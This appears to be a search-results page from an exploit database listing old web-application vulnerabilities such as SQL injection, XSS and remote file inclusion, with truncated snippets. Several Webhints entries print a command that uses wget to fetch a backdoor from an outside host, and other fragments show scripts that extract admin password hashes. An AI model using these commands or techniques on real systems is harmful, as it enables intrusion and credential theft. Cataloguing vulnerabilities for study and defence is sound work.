5493 matches found
CarLine Forum Russian Board 4.2 - 'edit_msg.php?name_ig_array1[1]' SQL Injection
source: https://www.securityfocus.com/bid/14045/info Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks. Forum Russian Board 4.2 is reported to be affected...
CarLine Forum Russian Board 4.2 - 'edit_msg.php' Multiple Cross-Site Scripting Vulnerabilities
source: https://www.securityfocus.com/bid/14045/info Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks. Forum Russian Board 4.2 is reported to be affected...
DUware DUpaypal 3.0/3.1 - 'sub.asp?iSub' SQL Injection
source: https://www.securityfocus.com/bid/14034/info DUpaypal Pro is prone to multiple SQL-injection vulnerabilities because the fails application to properly sanitize user-supplied input before using it in SQL queries. A successful exploit could allow an attacker to compromise the application,...
RaXnet Cacti 0.50.60.8 - Top_Graph_Header.php Remote File Inclusion
RaXnet Cacti 0.50.60.8 - TopGraphHeader.php Remote File Inclusion source: https://www.securityfocus.com/bid/14030/info RaXnet Cacti is prone to a remote file include vulnerability. The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script...
Ublog Reload 1.0.5 - blog_comment.asp?y SQL Injection
Ublog Reload 1.0.5 - blogcomment.asp?y SQL Injection source: https://www.securityfocus.com/bid/13991/info Ublog Reload is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries...
Webhints.pl
This exploit uses a backdoor that isn't located on this server. $cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt"; change for your own needs. /str0ke !/usr/bin/perl T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m EXPLOIT FOR: WebHints Remote C0mmand Execution Vuln Expl0it...
Ultimate PHP Board 1.9.6 GOLD - users.dat Password Decryptor
Ultimate PHP Board 1.9.6 GOLD - users.dat Password Decryptor !/usr/bin/perl Passwords Decrypter for UPB $optf" || die "- Unable to open $optf: $!"; print RESULTS "Results for $opth\n","="x40,"\n\n"; for$in=0;$in/ && print RESULTS "Username: $1\n"; $page$in=m/...
PHP Arena <= 1.1.3 pafiledb.php Remote Change Password Exploit
Exploit for unknown platform in category web applications ============================================================== PHP Arena mhp0rtal -- oilKarchack -- DrCephaleX -- Str0ke And...
PHP Arena <= 1.1.3 pafiledb.php Remote Change Password Exploit
No description provided by source. !/usr/bin/perl T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m EXPLOIT FOR: PHP Arena paFileDB 1.1.3 And 0lder Expl0it By: A l p h a P r o g r a m m e r Sirus-v Email: [email protected] + Discovered By: GulfTech + Advisory:...
PHP Arena 1.1.3 - 'pafiledb.php' Remote Change Password
!/usr/bin/perl T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m EXPLOIT FOR: PHP Arena paFileDB 1.1.3 And 0lder Expl0it By: A l p h a P r o g r a m m e r Sirus-v Email: [email protected] + Discovered By: GulfTech + Advisory: https://www.securityfocus.com/bid/13967 Vulnerabl...
Webhints <= 1.03 Remote Command Execution Exploit (perl code) (1)
Exploit for cgi platform in category web applications ================================================================= Webhints mhp0rtal -- oilKarchack -- The-CephaleX -- Str0ke...
Webhints <= 1.03 Remote Command Execution Exploit (perl code) (1)
This exploit uses a backdoor that isn't located on this server. $cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt"; change for your own needs. /str0ke !/usr/bin/perl T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m EXPLOIT FOR: WebHints Remote C0mmand Execution Vuln Expl0it...
Webhints 1.03 - Remote Command Execution (Perl) (1)
Webhints 1.03 - Remote Command Execution Perl 1 This exploit uses a backdoor that isn't located on this server. $cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt"; change for your own needs. /str0ke !/usr/bin/perl T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m EXPLOIT FOR:...
Portail PHP < 1.3 - SQL Injection
!/usr/bin/perl -w SQL Injection Exploit for Portail PHP .? / && print "+ Username of administrator is: $1\n"; print "- Unable to retrieve username\n" if!$1; $page=m/ : .?/ && print "+ MD5 hash of password is: $1\n"; print "- Unable to retrieve hash of password\n" if!$1; milw0rm.com 2005-06-06...
Qualiteam X-Cart 4.0.8 - help.php?section Cross-Site Scripting
Qualiteam X-Cart 4.0.8 - help.php?section Cross-Site Scripting source: https://www.securityfocus.com/bid/13817/info X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. These...
ServersCheck 5.95.10 - Directory Traversal
ServersCheck 5.95.10 - Directory Traversal source: https://www.securityfocus.com/bid/13810/info ServersCheck is affected by a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to...
Gedit 2.x - Filename Format String
source: https://www.securityfocus.com/bid/13699/info gEdit is prone to a format-string vulnerability. Exploitation may occur when the program is invoked with a filename that includes malicious format specifiers. Attackers could exploit this issue to corrupt arbitrary regions of memory with...
BEA WebLogic 7.0/8.1 - Administration Console Error Page Cross-Site Scripting
source: https://www.securityfocus.com/bid/13794/info BEA WebLogic Server And WebLogic Express are affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the error page. A successful attack may facilitate the...
BookReview 1.0 - 'search.htm?submit string' Cross-Site Scripting
source: https://www.securityfocus.com/bid/13783/info BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code executed in...
Fusionphp Fusion News 3.33.6 - X-Forworded-For PHP Script Code Injection
Fusionphp Fusion News 3.33.6 - X-Forworded-For PHP Script Code Injection source: https://www.securityfocus.com/bid/13661/info FusionPHP Fusion News is prone to a remote PHP code injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. Th...